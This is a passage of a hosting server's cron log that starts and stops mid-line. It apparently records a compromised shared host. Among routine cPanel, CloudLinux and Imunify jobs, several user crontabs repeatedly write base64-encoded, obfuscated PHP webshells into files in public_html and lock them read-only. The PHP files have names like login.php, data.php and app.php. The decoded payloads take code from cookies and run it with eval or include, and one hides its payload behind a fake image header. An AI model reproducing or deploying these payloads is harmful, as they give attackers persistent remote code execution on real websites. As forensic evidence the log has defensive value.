Uoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:14:02 medusa CROND[16754]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:14:02 medusa CROND[16755]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:15:01 medusa CROND[6948]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:15:01 medusa CROND[6973]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:15:02 medusa CROND[7066]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:15:02 medusa CROND[7068]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:15:02 medusa CROND[7069]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:15:02 medusa CROND[7070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:15:02 medusa CROND[7071]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:15:02 medusa CROND[7072]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:15:02 medusa CROND[7074]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:15:02 medusa CROND[7077]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:15:02 medusa CROND[7079]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:15:02 medusa CROND[7081]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:15:02 medusa CROND[7082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:15:02 medusa CROND[7087]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:15:02 medusa CROND[7089]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:15:02 medusa CROND[7090]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 12:15:02 medusa CROND[7092]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:15:02 medusa CROND[7085]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Mar  1 12:15:02 medusa CROND[7103]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:15:02 medusa CROND[7104]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:15:02 medusa CROND[7100]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 12:15:02 medusa CROND[7086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:15:02 medusa CROND[7110]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:15:02 medusa CROND[7106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:15:02 medusa CROND[7099]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:16:01 medusa CROND[29070]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:16:01 medusa CROND[29158]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:16:01 medusa CROND[29159]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:16:01 medusa CROND[29160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:16:01 medusa CROND[29161]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:16:01 medusa CROND[29162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:16:01 medusa CROND[29163]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:16:01 medusa CROND[29165]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:16:01 medusa CROND[29166]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:16:01 medusa CROND[29169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3F